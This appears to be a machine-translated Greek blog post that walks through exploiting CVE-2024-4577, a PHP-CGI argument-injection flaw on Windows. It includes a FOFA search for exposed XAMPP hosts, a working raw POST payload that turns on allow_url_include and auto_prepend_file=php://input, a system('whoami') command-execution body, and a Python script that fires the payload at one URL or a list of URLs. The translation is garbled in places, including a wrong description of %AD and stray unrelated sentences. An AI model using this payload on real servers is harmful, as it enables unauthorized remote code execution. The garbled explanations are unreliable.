τα στοιχεία επικοινωνίας μου
Ταχυδρομείο[email protected]
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
Αποποίηση ευθύνης: Αυτό το έγγραφο ή το υλικό παρουσίασης είναι μόνο για εκπαιδευτικούς και διδακτικούς σκοπούς.
Το PHP-CGI είναι μια διεπαφή για την εκτέλεση σεναρίων PHP σε έναν διακομιστή Ιστού, συνδέοντας τον διερμηνέα PHP με τον διακομιστή Ιστού μέσω CGI (Common Gateway Interface). Η PHP έχει σχεδιαστεί για να αγνοεί τη μετατροπή χαρακτήρων στα WindowsBest-Fit
χαρακτηριστικό, όταν το PHP-CGI εκτελείται στην πλατφόρμα Window και χρησιμοποιεί τις ακόλουθες γλώσσες (Απλοποιημένα Κινέζικα 936/Παραδοσιακά Κινέζικα 950/Ιαπωνικά 932, κ.λπ.), ο εισβολέας μπορεί να δημιουργήσει κακόβουλα αιτήματα για να παρακάμψει την ενημερωμένη έκδοση κώδικα CVE-2012-1823 , έτσι ώστε ο εισβολέας να μπορεί να παρακάμψει την ενημερωμένη έκδοση κώδικα CVE-2012-1823 χωρίς να συνδεθεί. εκτέλεση αυθαίρετου κώδικα PHP.
1) Συλλογή πληροφοριών
φοφα:app="XAMPP"
Είμαστε μια ομάδα άθλιων που πάντα παλεύουμε ενάντια στον κίνδυνο και την τρέλα, αλλά είμαστε και φύλακες.
2) Κατασκευάστε το πακέτο δεδομένων
POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host:ip
<?php echo "hello world!";?>
Εξήγηση κώδικα:
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
Αυτό το ωφέλιμο φορτίο είναι ένα διάνυσμα επίθεσης PHP Remote Command Execution (RCE) με κωδικοποίηση URL που εκμεταλλεύεται τις επιλογές διαμόρφωσης PHP CGI για την επίτευξη απομακρυσμένης εκτέλεσης κώδικα. Ακολουθεί μια λεπτομερής εξήγηση του ωφέλιμου φορτίου:
/php-cgi/php-cgi.exe
:
php-cgi.exe
. Το PHP CGI είναι ένας διερμηνέας PHP ανεξάρτητος από διακομιστή Ιστού, που χρησιμοποιείται συνήθως στη γραμμή εντολών ή εκτελείται ως σενάριο CGI.Κωδικοποίηση URL:
%AD
είναι ένας χαρακτήρας νέας γραμμήςn
Μια μορφή κωδικοποίησης URL, που χρησιμοποιείται συνήθως για την εισαγωγή νέων γραμμών σε διευθύνσεις URL, η οποία μπορεί να χρησιμοποιηθεί για την παράκαμψη του φιλτραρίσματος εισόδου σε ορισμένες περιπτώσεις.%3d
Ναί=
Φόρμα κωδικοποίησης URL, που χρησιμοποιείται για την εκχώρηση τιμών σε μεταβλητές.?%ADd+cgi.force_redirect%3d0
:
cgi.force_redirect
Η τιμή 0 απενεργοποιεί τη συμπεριφορά ανακατεύθυνσης του PHP CGI. Αυτό χρησιμοποιείται συνήθως για να αποτρέψει την αυτόματη μετάβαση ενός σεναρίου PHP στην αρχική ζητούμενη διεύθυνση URL μετά την εκτέλεση.+%ADd+cgi.redirect_status_env
:
cgi.redirect_status_env
, είναι μια οδηγία στη διαμόρφωση PHP που χρησιμοποιείται όταν η PHP εκτελείται ως διαδικασία CGI ή FastCGI. .+allow_url_include%3d1
:
allow_url_include
Η τιμή 1 επιτρέπει στα σενάρια PHP να περιλαμβάνουν αρχεία από διευθύνσεις URL. Αυτός είναι ένας πιθανός κίνδυνος για την ασφάλεια, επειδή επιτρέπει σε έναν εισβολέα να συμπεριλάβει απομακρυσμένα αρχεία μέσω της διαδρομής αρχείου που έχει περάσει στη διεύθυνση URL.+auto_prepend_file%3dphp://input
:
auto_prepend_file
Γιαphp://input
. Αυτή η επιλογή διαμόρφωσης επιτρέπει την αυτόματη συμπερίληψη ενός αρχείου πριν από την εκτέλεση του σεναρίου PHP.Όταν έχει οριστεί σεphp://input
, θα περιέχει τα δεδομένα που αποστέλλονται μέσω αιτήματος HTTP POST. Αυτό μπορεί να χρησιμοποιηθεί για την εκτέλεση αυθαίρετου κώδικα PHP, καθώς ένας εισβολέας μπορεί να στείλει κακόβουλο κώδικα μέσω αιτήματος POST. Κατασκευάζοντας αυτό το ωφέλιμο φορτίο, ο εισβολέας επιχειρεί να εκμεταλλευτεί τις επιλογές διαμόρφωσης PHP CGI για να εκτελέσει απομακρυσμένο κώδικα.με ρύθμισηallow_url_include
καιauto_prepend_file
, ένας εισβολέας μπορεί να στείλει ένα αίτημα POST που περιέχει κώδικα PHP, το οποίο θα εκτελεστεί αυτόματα.
ηχώhello world
, ο κώδικας αναλύεται.
3) Μπορούν επίσης να γίνουν και άλλες λειτουργίες
Εκτέλεση παραγγελίας
<?php system('whoami');?>
Προσοχή: Χιλιάδες άνθρωποι, μην κάνετε, μην κάνετε, μην κάνετε παράνομα πράγματα! ! !
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 导入requests库,用于发送HTTP请求
import requests
# 导入argparse库,用于处理命令行参数
import argparse
# 从requests.exceptions导入RequestException,用于捕获请求异常
from requests.exceptions import RequestException
# 从urllib3.exceptions导入InsecureRequestWarning,用于禁用不安全请求警告
from urllib3.exceptions import InsecureRequestWarning
# 打印颜色控制字符
# 打印颜色
RED = '033[91m'
RESET = '033[0m'
# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_vulnerability(url):
"""
检查给定URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。
:param url: 待检查的URL字符串
"""
try:
# 构造攻击URL,利用漏洞进行尝试
attack_url = url.rstrip('/') + "//php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
# 设置请求头信息
headers = {
'User-Agent': 'curl/8.3.0',
'Content-Type': 'application/x-www-form-urlencoded'
}
# 设置请求体数据
payload = "<?php echo '666666';?>"
# 向服务器发送请求
response = requests.post(attack_url, headers=headers, data=payload, verify=False, timeout=10)
# 检查响应,如果状态码为200且响应体包含特定字符串,则判断为存在漏洞
if response.status_code == 200 and '666666' in response.text:
print(f"{RED}URL [{url}] 存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。{RESET}")
else:
print(f"URL [{url}] 未发现漏洞。")
except RequestException as e:
# 如果请求过程中发生异常,打印异常信息
print(f"URL [{url}] 请求失败: {e}")
def main():
"""
程序主入口。
解析命令行参数,根据参数执行漏洞检查。
"""
# 创建命令行参数解析器
parser = argparse.ArgumentParser(description='检查目标URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。')
# 添加URL参数,指定目标URL
parser.add_argument('-u', '--url', help='指定目标URL')
# 添加文件参数,指定包含多个URL的文本文件
parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')
# 解析命令行参数
args = parser.parse_args()
# 如果指定了URL参数
if args.url:
# 如果URL未以http://或https://开头,则添加http://
args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
# 调用漏洞检查函数
check_vulnerability(args.url)
# 如果指定了文件参数
elif args.file:
# 打开文件,读取每行作为URL进行检查
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
# 处理URL,确保其以http://或https://开头
url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
# 调用漏洞检查函数
check_vulnerability(url)
if __name__ == '__main__':
main()
Εκτέλεση στιγμιότυπου οθόνης
Ο μικρός λωτός μόλις αποκάλυψε τις αιχμηρές γωνίες του και μια λιβελλούλη έχει ήδη σταθεί πάνω του.